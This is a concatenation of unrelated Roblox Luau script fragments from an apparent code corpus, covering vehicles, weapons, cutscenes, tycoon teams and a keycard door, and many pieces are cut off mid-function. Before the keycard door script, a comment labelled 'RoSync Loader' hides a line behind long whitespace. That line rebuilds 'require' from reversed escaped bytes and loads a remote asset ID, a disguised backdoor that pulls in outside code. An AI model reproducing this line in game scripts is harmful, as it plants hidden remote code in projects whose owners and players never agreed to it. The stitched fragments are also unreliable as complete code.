Roblox/luau_corpus huggingface dataset:
------------------------------



























































script.Parent.CanCollide = false
script.Parent.Anchored = false
for i,v in pairs(script.Parent:GetChildren()) do
	if v.ClassName == "Part" or v.ClassName == "WedgePart" or v.ClassName == "TrussPart" or v.ClassName == "CornerWedgePart" or v.ClassName == "MeshPart" then
		v.Anchored = false
		v.CanCollide = false
	end
end







while true do
					wait()
					if not sw then
						fl = fl + floatInc
						if fl >= maxFloat then
							sw = true
						end
					else
						fl = fl - floatInc
						if fl <=-maxFloat then
							sw = false
						end
					end
					if pet ~= nil and hum ~= nil and head ~= nil then
						if hum.Health >= 0 then
							local cf = head.CFrame * CFrame.new(3,-2.5+fl,3)
							pet.BodyPosition.Position = Vector3.new(cf.x,cf.y,cf.z)
							pet.BodyGyro.CFrame = head.CFrame * CFrame.new(3,0,-3)
						else
							break
						end
					end
				end
-- tween engine sound volume when we start driving
local engineStartTween = TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.In, 0, false, 0)

local Remotes = Vehicle:WaitForChild("Remotes")
local SetThrottleRemote = Remotes:WaitForChild("SetThrottle")
local SetThrottleConnection = nil

local EngineSoundEnabled = true
local TireTrailEnabled = false

local ignitionTime = 1.75 -- seconds

local lastAvgAngularVelocity = 0
local throttleEnabled = false
local lastThrottleUpdate = 0

local enginePower = 0 -- current rpm of the engine
local gainModifier = 1 -- modifier to engine rpm gain (lower if approaching max speed)
--//Controller//--
ClickDetector.MouseClick:Connect(function()
	if not Settings.Clicked then
		Settings.Clicked = true
		
		MainButton.Color = Color3.fromRGB(0, 255, 0)
		
		if CurrentLayer.Value == 0 then
			CurrentLayer.Value = 1
			
			for _, Object in pairs(FirstLayer:GetChildren()) do
				if Object:IsA("BasePart") then
					Object.Transparency = 0
					Object.CanCollide = true
					
				end
			end
			
		elseif CurrentLayer.Value == 1 then
			CurrentLayer.Value = 2
			
			for _, Object in pairs(SecondLayer:GetChildren()) do
				if Object:IsA("BasePart") then
					Object.Transparency = 0
					Object.CanCollide = true

				end
			end
			
		elseif CurrentLayer.Value == 2 then
			CurrentLayer.Value = 3

			for _, Object in pairs(ThirdLayer:GetChildren()) do
				if Object:IsA("BasePart") then
					Object.Transparency = 0
					Object.CanCollide = true

				end
			end
		end
	end
end)
--[=[
	Inverts the result of a promise, turning a resolved promise
	into a rejected one, and a rejected one into a resolved one.

	@param promise Promise<T>
	@return Promise<T>
]=]
function PromiseUtils.invert(promise)
	if promise:IsPending() then
		return promise:Then(function(...)
			return Promise.rejected(...)
		end, function(...)
			return Promise.resolved(...)
		end)
	else
		local results = {promise:GetResults()}
		if results[1] then
			return Promise.rejected(unpack(results, 2))
		else
			return Promise.resolved(unpack(results, 2))
		end
	end
end
-- events

Players.PlayerRemoving:connect(function(player)
	if pings[player] then
		pings[player]	= nil
	end
end)

script.Projectile.Event:connect(Projectile)
-- Constructor.
function FastCast.new()
	return setmetatable({
		LengthChanged = Signal.new("LengthChanged"),
		RayFinalHit = Signal.new("RayFinalHit"),
		RayHit = Signal.new("RayHit"),
		RayPenetrated = Signal.new("RayPenetrated"),
		CastTerminating = Signal.new("CastTerminating"),
		WorldRoot = workspace
	}, FastCast)
end
-- functions

local function Raycast(position, direction, ignore)
	local ray		= Ray.new(position, direction)
	local success	= false
	local h, p, n, humanoid
	
	table.insert(ignore, Workspace.Effects)
	table.insert(ignore, Workspace.Drops)
	
	repeat
		h, p, n	= Workspace:FindPartOnRayWithIgnoreList(ray, ignore)
		
		if h then
			local humanoid	= h.Parent:FindFirstChildOfClass("Humanoid")
			if humanoid then
				table.insert(ignore, humanoid.Parent)
				success	= false
			elseif h.CanCollide and h.Transparency < 1 then
				success	= true
			else
				table.insert(ignore, h)
				success	= false
			end
		else
			success	= true
		end
	until success
	
	return h, p, n
end
--use this to determine if you want this human to be harmed or not, returns boolean
function checkTeams(otherHuman)
	return not (sameTeam(otherHuman) and not FriendlyFire==true)
end

function boom()
	wait(1.5)
	Used = true
	Object.Anchored = true
	Object.CanCollide = true
	Object.Orientation = Vector3.new(0,0,0)
	Object.Transparency = 1
	Object.Explode:Play()
	Object.Explosion:Emit(100)
	Explode()
end

Object.Touched:Connect(function(part)
	if Used == true or part.Name == "Handle" then return end
	if part:IsDescendantOf(Tag.Value.Character) then return end
	if part.Parent then
		if part.Parent:FindFirstChild("Humanoid") then
			local human = part.Parent.Humanoid
			if checkTeams(human) then
				tagHuman(human)
				human:TakeDamage(Damage)
			end
		end
		Used = true
		Object.Impact:Play()
		Object.Velocity = Vector3.new(Object.Velocity.x/10,Object.Velocity.y/10,Object.Velocity.z/10)
		Object.RotVelocity = Vector3.new(Object.RotVelocity.x/10,Object.RotVelocity.y/10,Object.RotVelocity.z/10)
		game:GetService("Debris"):AddItem(Object, 10)
	end
end)

boom()
--[[*
 * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 ]]

local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Error = LuauPolyfill.Error
local String = LuauPolyfill.String
local exports = {}
----------------------------------------------------------------------------------------------------
--------------------=[ CFRAME ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
	,EnableHolster = false
	,HolsterTo = 'Torso'				 -- Put the name of the body part you wanna holster to
	,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))
	
	,RightArmPos = CFrame.new(-0.85, -0.2, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))	--Server
	,LeftArmPos = CFrame.new(1.2,-0.2,-1.4) * CFrame.Angles(math.rad(-100),math.rad(25),math.rad(-20))	--server
	
	,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0))
	,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))
	
	,RightPos = CFrame.new(-.9, .15, -1.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))	--Client
	,LeftPos = CFrame.new(1,-1,-1) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))	--Client
}

return Config
--local pln_ID = math.random(0,300) +2312
--script.Parent.Pln_ID.Value = pln_ID
plane=nil
hold=false
vSpeed = 0
taxiing = true
local debounce = false
local planedebounce = false
local stuntdebounce = false
local controlling = false
local on = false
local Mousefollow = false
local faster = false
local slower = false
local uper = false
local downer = false
local sideright = false
local sideleft = false
local sideway = 0
local minigun_shoot = false
local missile_side = 1
local show_ammo = false
local startLock = false
--[=[
	@param tbl table
	@param name string
	@param inboundMiddleware ServerMiddleware?
	@param outboundMiddleware ServerMiddleware?
	@return RemoteFunction
]=]
function ServerComm:WrapMethod(tbl: {}, name: string, inboundMiddleware: ServerMiddleware?, outboundMiddleware: ServerMiddleware?): RemoteFunction
	return Comm.Server.WrapMethod(self._instancesFolder, tbl, name, inboundMiddleware, outboundMiddleware)
end
--[[ Last synced 11/11/2020 02:39                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--

local door = script.Parent
local CanOpen1 = true
local CanClose1 = false
local clearance = {
	["[SCP] Card-Omni"] = true, 
	["[SCP] Card-L5"] = true, 
	["[SCP] Card-L4"] = true,
	["[SCP] Card-L3"] = false,
	["[SCP] Card-L2"] = false,
	["[SCP] Card-L1"] = false
}
						
						--DO NOT EDIT PAST THIS LINE--
function openDoor()
	for i = 3,(door.Size.z / 0.15) do
		wait()
		door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.15)
	end
end

function closeDoor()
	for i = 3,(door.Size.z / 0.15) do
		wait()
		door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.15)
	end
end

script.Parent.Parent.KeycardReader1.touched:connect(function(touch)
	if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
		CanOpen1 = false
		wait(0.75)
		openDoor()
		wait(1)
		CanClose1 = true
	elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
		CanClose1 = false
		wait(0.75)
		closeDoor()
		wait(1)
		CanOpen1 = true
	end
end)

script.Parent.Parent.KeycardReader2.touched:connect(function(touch)
	if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
		CanOpen1 = false
		wait(0.75)
		openDoor()
		wait(1)
		CanClose1 = true
	elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
		CanClose1 = false
		wait(0.75)
		closeDoor()
		wait(1)
		CanOpen1 = true
	end
end)
-- This function is monkey patched to return MockDataStoreService during tests
local DataStoreService = game:GetService("DataStoreService")

local DataStoreServiceRetriever = {}

function DataStoreServiceRetriever.Get()
	return DataStoreService
end

return DataStoreServiceRetriever
-- Loading
local CutsceneFolder = workspace.Cutscenes:WaitForChild("Died") -- The folder that contains the cutscene data (Cameras...)
local Destroy = true -- Destroy folder after loading? you don't want your player to see your cameras floating around!
local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded
local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once.

local Cutscene = require(CutsceneModule)

local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene
Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder

local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch")
local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin")
local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded")
local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied")
local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire")
local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire")
local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying")
local CharacterProtector = script:FindFirstChild("CharacterProtector")
local Music = script:FindFirstChild("Music")
local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished")
local StopOnEventFire = script:FindFirstChild("StopOnEventFire")
local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire")
local PlayOnce = script:FindFirstChild("PlayOnce")
local Debounce = script:FindFirstChild("Cooldown")
local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove")
local bin = true
local Player = game:GetService("Players").LocalPlayer
local CutsceneGui = script:FindFirstChild("Cutscene")
-- map a value from one range to another
function CameraUtils.map(x: number, inMin: number, inMax: number, outMin: number, outMax: number): number
	return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
end
-- Using the desired target rotation and elevation, determine where the gun should point right now (smoothly turn)
function getSmoothRotation(rotations)
	
	local targElev = rotations[1];
	local targRot = rotations[2];	
	
	local maxGunDepression = tankStats.GunHandling.GunDepression.Value;	
	local maxTraverse = tankStats.GunHandling.GunTraverse.Value;	

	-- Restrict the height of travel of the gun
	if math.abs(targElev) > maxGunDepression then
		targElev = maxGunDepression*sign(targElev);
	end
	
	if math.abs(targRot) > maxTraverse then
		targRot = maxTraverse*sign(targRot);
	end
	

	-- Once target angles are set, slowly turn turret towards them
	-- Elevation
	local elevDiff = targElev - currentElev;
	if math.abs(elevDiff) < 0.01 then -- If they're close
		currentElev = targElev;
	else -- Move towards it
		currentElev = currentElev + 0.01*sign(elevDiff);
	end



	local rotDiff = targRot - currentRot;
	local turretSpeed = tankStats.GunHandling.TurretSpeed.Value;
	
	if math.abs(rotDiff) < turretSpeed then -- If they're close
		currentRot = targRot;
	else -- Move towards it
		currentRot = currentRot + turretSpeed*sign(rotDiff);
	end
	
	-- Put rotation and elevation into an array
	local rotations = {};
	rotations[1] = targElev;
	rotations[2] = targRot;
	
	return rotations;
end
-- The absolute ceiling limit that the player can jump before
-- triggering the anticheat.
config.JumpHeightTolerance = 11
--[=[
	Initializes the datastore service for players. Should be done via [ServiceBag.Start].
]=]
function PlayerDataStoreService:Start()
	-- Give time for configuration
	self._started:Resolve()
end
-- Libraries
RbxUtility = require(script.LoadLibrary.RbxUtility)
Support = require(Tool.SupportLibrary);
Security = require(Tool.SecurityModule);
RegionModule = require(Tool['Region by AxisAngle']);
Serialization = require(Tool.SerializationModule);
Create = RbxUtility.Create;
CreateSignal = RbxUtility.CreateSignal;
-- Torso
		character:FindFirstChild("Humanoid").CameraOffset = Vector3.new(0,0,-2)
	end
end)
-- made by Weeve. for all of you lamo scripters out there, can you at least leave my name here?
-- don't edit anything here
seat = script.Parent

function onChildAdded(part)
	script.Parent.Parent.Base.EngineStart:Play()
	script.Parent.Parent.Base.EngineStop:Stop()
	wait(3)
	script.Parent.Parent.Base.EngineSound:Play()
end

function onChildRemoved(part)
	script.Parent.Parent.Base.EngineStop:Play()
	script.Parent.Parent.Base.EngineSound:Stop()
	script.Parent.Parent.Base.EngineStart:Stop()
end
seat.ChildAdded:connect(onChildAdded)
seat.ChildRemoved:connect(onChildRemoved)
--Enter the name of the model you want to go to here. 
------------------------------------ 
modelname="teleporta"
-- Unsafe to use with non-Portalshot modes.
function CircularEdge.new(Activity)
    local self = {
        Generator = Random.new(os.time());
        Activity = Activity;
    }

    return setmetatable(self, CircularEdge)
end

function CircularEdge:GetRotation(N: number): number
    -- We do this to include the noiseness factor.
    return self.Generator:NextInteger(-N, N) + self.Generator:NextNumber()
end

function CircularEdge:GetNextPoint(Player: Player): CFrame
    local Origin: CFrame = self.Activity.SpawnArea:GetTargetAreaPosition(Player)
    local TargetAreaSize = self.Activity.Settings.TargetAreaSize

    return Origin
        * CFrame.Angles(0, math.rad(self:GetRotation(self.Activity.SpawnMechanism.State.Angles / 2)), 0)
        * CFrame.Angles(math.rad(self:GetRotation(TargetAreaSize.Y / 2)), 0, 0)
        * CFrame.new(TargetAreaSize.X / 2, 0, TargetAreaSize.Z / 2)
end

CircularEdge.GetStartingPoint = CircularEdge.GetNextPoint

return CircularEdge
------------------------------------------------------------------------
-- parse a generic for loop, calls forbody()
-- * used in forstat()
------------------------------------------------------------------------
function luaY:forlist(ls, indexname)
  -- forlist -> NAME {,NAME} IN explist1 forbody
  local fs = ls.fs
  local e = {}  -- expdesc
  local nvars = 0
  local base = fs.freereg
  -- create control variables
  self:new_localvarliteral(ls, "(for generator)", nvars)
  nvars = nvars + 1
  self:new_localvarliteral(ls, "(for state)", nvars)
  nvars = nvars + 1
  self:new_localvarliteral(ls, "(for control)", nvars)
  nvars = nvars + 1
  -- create declared variables
  self:new_localvar(ls, indexname, nvars)
  nvars = nvars + 1
  while self:testnext(ls, ",") do
    self:new_localvar(ls, self:str_checkname(ls), nvars)
    nvars = nvars + 1
  end
  self:checknext(ls, "TK_IN")
  local line = ls.linenumber
  self:adjust_assign(ls, 3, self:explist1(ls, e), e)
  luaK:checkstack(fs, 3)  -- extra space to call generator
  self:forbody(ls, base, line, nvars - 3, false)
end
--[=[
	@return boolean
	Returns the [`GuiService.AutoSelectGuiEnabled`](https://developer.roblox.com/en-us/api-reference/property/GuiService/AutoSelectGuiEnabled)
	property.
]=]
function Gamepad:IsAutoSelectGuiEnabled(): boolean
	return GuiService.AutoSelectGuiEnabled
end
--[[Weight and CG]]
	Tune.Weight			= 2450		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		3.5		,
	 --[[Length]]		14		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible
	
	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]
	
	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members
-- DEPRECATED: Use openMerchBooth instead. openCatalogView is kept around for
-- backwards compatibility
module.openCatalogView = module.openMerchBooth

return module
--run this first so if there is a 'white' team it is switched over
if not Settings['AutoAssignTeams'] then
	local teamHire = Instance.new('Team', Teams)
	teamHire.TeamColor = BC.new('White')
	teamHire.Name = "For Hire"
end

for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do
	Tycoons[v.Name] = v:Clone() -- Store the tycoons then make teams depending on the tycoon names
	if returnColorTaken(v.TeamColor) then
		--//Handle duplicate team colors
		local newColor;
		repeat
			wait()
			newColor = BC.Random()
		until returnColorTaken(newColor) == false
		v.TeamColor.Value = newColor
	end
	--Now that there are for sure no duplicates, make your teams
	local NewTeam = Instance.new('Team',Teams)
	NewTeam.Name = v.Name
	NewTeam.TeamColor = v.TeamColor.Value
	if not Settings['AutoAssignTeams'] then
		NewTeam.AutoAssignable = false
	end
	--v.PurchaseHandler.Disabled = false
end

function getPlrTycoon(player)
	for i,v in pairs(script.Parent.Tycoons:GetChildren()) do
		if v:IsA("Model") then
			if v.Owner.Value == player then
				return v
			end
		end
	end
	return nil
end



game.Players.PlayerAdded:connect(function(player)
	
	local leaderStat = player:WaitForChild("leaderstats")
	local canRebirth = Instance.new("BoolValue")
	canRebirth.Name = "CanRebirth"
	canRebirth.Value = false
	canRebirth.Parent = player
	
	if RebirthSettings.Rebirth.enabled == true then
		if leaderStat ~= nil then
			local rebirth = Instance.new("NumberValue")
			rebirth.Name = "Rebirths"
			rebirth.Parent = leaderStat
	
			local rebirthCount = PlayerStatManager:getStat(player,"RebirthCount")
			
			if rebirthCount ~= nil then
				rebirth.Value = rebirthCount
			else
				rebirth.Value = 0	
			end
		end
	end
	
	
end)

game.Players.PlayerRemoving:connect(function(player)
	--print("PlayerStatManager:saveOnExit("..player.Name..")")
	
	PlayerStatManager:saveOnExit(player)
	PlayerStatManager:setPlayerSessionDataToNil(player)
	local plrStats = game.ServerStorage.PlayerMoney:FindFirstChild(player.Name)
	if plrStats ~= nil then
		plrStats:Destroy()
	end
	print("AFTER Saving and deleting plrStats")
	
	local tycoon = getPlrTycoon(player)
	if tycoon then
		local backup = Tycoons[tycoon.Name]:Clone()
		tycoon:Destroy()
		wait()
		backup.Parent=script.Parent.Tycoons
	end
end)
--[[Weight Scaling]]
	--[Cubic stud : pounds ratio]
	--[STANDARDIZED: Don't touch unless needed]
	Tune.WeightScaling = 1/50	--Default = 1/50 (1 cubic stud = 50 lbs)
	Tune.LegacyScaling = 1/20	--Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF]
	
return Tune
-- Service varables
local players=game:GetService("Players")
local lp=players.LocalPlayer
local char=lp.Character or lp.CharacterAdded:wait()
local hum=char:WaitForChild("Humanoid")

local UIS=game:GetService("UserInputService")
---------------------------------------------------

Displays = 3 -- Sets how many displays this scripts will use...
DisplayColor = Color3.fromRGB(248, 248, 248)
--[=[
	Returns `true` if the timer is currently running.

	```lua
	if timer:IsRunning() then
		-- Do something
	end
	```
]=]
function Timer:IsRunning(): boolean
	return self._runHandle ~= nil
end
--freeze the character
DisableMove()

IceForm = Instance.new("Sound")
IceForm.Name = "IceForm"
IceForm.SoundId = "rbxassetid://"..formSounds[math.random(1,#formSounds)]
IceForm.Parent = Head
IceForm.PlaybackSpeed = 1
IceForm.Volume = 1.5
game.Debris:AddItem(IceForm, 10)
delay(0, function() IceForm:Play() end)

for i = 1, #charParts do
	local newIcePart = icePart:Clone()
	--newIcePart.IceMesh.Scale = newIcePart.IceMesh.Scale * charParts[i].Size	
	newIcePart.Size = Vector3.new(charParts[i].Size.x+.1, charParts[i].Size.y+.1, charParts[i].Size.z+.1)	
	newIcePart.CFrame = charParts[i].CFrame
	newIcePart.Parent = character
	
	local Weld = Instance.new("Weld")
	Weld.Part0 = charParts[i]
	Weld.Part1 = newIcePart
	Weld.C0 = charParts[i].CFrame:inverse()
	Weld.C1 = newIcePart.CFrame:inverse()
	Weld.Parent = newIcePart

	table.insert(iceParts, newIcePart)
end

for i = 1, #accessoryParts do
	local newIcePart2 = accessoryParts[i]:Clone()	
    newIcePart2.Name = "IcePart"
    newIcePart2.formFactor = "Custom"
    newIcePart2.Color = Color3.fromRGB(128, 187, 219)
    newIcePart2.CanCollide = false
    newIcePart2.Anchored = false
    newIcePart2.Transparency = .5
    newIcePart2.BottomSurface = "Smooth"
    newIcePart2.TopSurface = "Smooth"
    newIcePart2.Material = Enum.Material.SmoothPlastic
	local mesh = newIcePart2:FindFirstChildOfClass("SpecialMesh")
    mesh.TextureId = ""
    mesh.Scale = Vector3.new(mesh.Scale.x+.1, mesh.Scale.y+.1, mesh.Scale.z+.1)
    newIcePart2.CFrame = accessoryParts[i].CFrame	
	newIcePart2.Parent = character
	
	local Weld2 = Instance.new("Weld")
	Weld2.Part0 = accessoryParts[i]
	Weld2.Part1 = newIcePart2
	Weld2.C0 = accessoryParts[i].CFrame:inverse()
	Weld2.C1 = newIcePart2.CFrame:inverse()
	Weld2.Parent = newIcePart2

	table.insert(iceParts2, newIcePart2)
end

wait(script.Duration.Value)
--Throttle:
--	local speed = 0
--	if seat.ThrottleFloat > 0 then
--		speed = maxSpeed*seat.ThrottleFloat --forwards
--	elseif seat.ThrottleFloat < 0 then
--		speed = seat.ThrottleFloat * 15 --reverse
--	end
--	setHinges(speed, speed)
--	if seat.ThrottleFloat < 0 and seat.Velocity.Magnitude > 20 and script.Parent.Velocity:Dot(script.Parent.CFrame.lookVector) > 0 then
--		Brake()
--	end
end)